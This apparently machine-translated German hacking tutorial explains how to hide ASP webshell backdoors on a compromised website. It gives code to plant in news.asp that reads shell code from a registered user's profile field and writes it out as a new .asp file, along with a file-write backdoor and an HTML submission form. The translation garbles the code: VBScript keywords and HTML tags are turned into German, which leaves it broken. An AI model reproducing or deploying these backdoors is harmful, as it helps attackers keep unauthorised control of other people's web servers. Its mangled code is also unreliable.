Vorwort: Es ist lange her, vom ersten Site-Manager bis zu den verschiedenen beliebten ASP-Hintertüren. Ich glaube, dass die meisten Netzwerkadministratoren diese klassischen Webshells wie Haiyang, Veteran, Blue Screen usw. benennen können Netzwerkadministratoren können ihnen einen Namen geben, um nach diesen Trojanern zu suchen. Natürlich muss man in der heutigen Zeit einige Fähigkeiten einsetzen: „Der Buddha ist ein Fuß.“ groß, und ich bin einen Fuß groß.
Ich bestreite nicht, dass das Schreiben des ASP-Trojaners in die Bilddatei, wie bereits erwähnt, eine gute Methode ist. Tatsächlich kann er nicht nur in Bilder, sondern auch in MP3-Dateien und in Doc-Dateien geschrieben werden.
Die Methode zumKopieren von Dateinamen/Parametern + Dateinamen/Parametern zum Generieren von Dateinamen
kann flexibel verwendet werden, um den Zweck des Ausblendens von Dateien zu erreichen. Die spezifischen Parameter sind /a im ACS-Code-Modus, /b im Binärmodus, also habe ich gewonnen. Ich gehe nicht zu sehr ins Detail. Was das Hochladen einer Webshell betrifft, geht es nicht um den Inhalt dieses Artikels. Worüber wir heute sprechen werden, ist, wie man die Hintertür mit dem Suffix .mdb in die Datenbank einfügt. Die Voraussetzung ist, dass, nachdem wir eine Webshell erhalten haben ...
Wie wir wissen, müssen viele Websites eine Menge Dinge ausfüllen Benutzer registrieren sich, wie zum Beispiel: Benutzername, Passwort, QQ, E-Mail, persönliches Profil, Telefonnummer, Kontaktinformationen, Adresse usw. Es gibt auch entsprechende Tabellen, Felder und Werte, die der Datenbank entsprechen. Was ich heute tun möchte, ist, einen Benutzer zu registrieren, Shell-Code in mein persönliches Profil zu schreiben und dann eine Datei auf seiner Website zu ändern. Wenn diese Datei bei der Verwendung ausgelöst wird, füge ich den Shell-Code in meinen persönlichen Lebenslauf ein bis zum aktuellen Verzeichnis.
Werfen wir ohne weitere Umschweife einen Blick auf den Code:
<%
if request("action")="firefox" then
fname=request.querystring("fn")
tname=request.querystring("tn")
bname=request.querystring("bn")
id=request.querystring("id")
idvalue=request.querystring("idv")
set rs=server.createobject("ADODB.recordset")
sql="select "& bname & " from "&tname& " where "&id&"="&idvalue&"""
rs.open sql,conn,1,3
wenn nicht rs.eof dann
content=rs(bname)
anders
Response.write „Nichts“
Ende wenn
set fso=Server.createObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(fname))
txtfile.writeline(content)
txtfile.close
Ende wenn
%>
Fügen Sie den obigen Code zu einer Datei auf der Site hinzu, z. B. news.asp. Den uns bekannten Informationen zufolge laden Sie nach der Registrierung auf der Website die Datenbank herunter, um die Struktur anzuzeigen. Der von mir registrierte Firefox-Name befindet sich in der Benutzertabelle und sein ID-Wert ist 119. Das Tabellenfeld zum Speichern meines registrierten Lebenslaufs ist jl.
news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119
Wenn wir es dann verwenden, können wir eine Webshell mit dem Namen firefox.asp in dasselbe Verzeichnis wie news.asp schreiben. Das Obige kann als eine von Tausenden von Versteckmethoden bezeichnet werden. Lassen Sie uns als Nächstes über eine weitere bequemere Versteckmethode sprechen. Diese Methode hat nichts mit dem MDB-Suffix zu tun.
Ebenso ändern wir weiterhin news.asp und fügen den folgenden Code in die news.asp der anderen Partei ein:
<%
if request("action")="firefox" dann
n=request.form("n")
c=request.form("c")
set fso=Server.createObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(n))
txtfile.writeline(c)
txtfile.close
Ende wenn
%>
Dieser Code ist relativ einfach und kann als Serverseite eines Trojanischen Pferdes betrachtet werden. Verwenden Sie diesen Code, wenn Sie ihn verwenden:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>Erste Firefox Technology Alliance[www.wrsky.com]</title>
<FORM action=" http://localhost/config.asp?action ... method=post>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<KÖRPER>Name:<INPUT-Größe=50
name=n width="32"><BR><BR>Shell:<TEXTAREA name=c rows=10 cols=80
width="32"></TEXTAREA><INPUT type=submit value=Save></FORM></BODY></HTML>
Ändern Sie den obigen Code: „http://localhost/config.asp?action= Ersetzen.“ Geben Sie „firefox“ mit Ihrer Serveradresse ein und speichern Sie es als lokale .htm-Datei. Definieren Sie nach dem lokalen Öffnen den zu generierenden Dateinamen, den Dateiinhalt und die Remote-Übermittlung. Dies ist eine weitere Möglichkeit, eine Hintertür zu hinterlassen.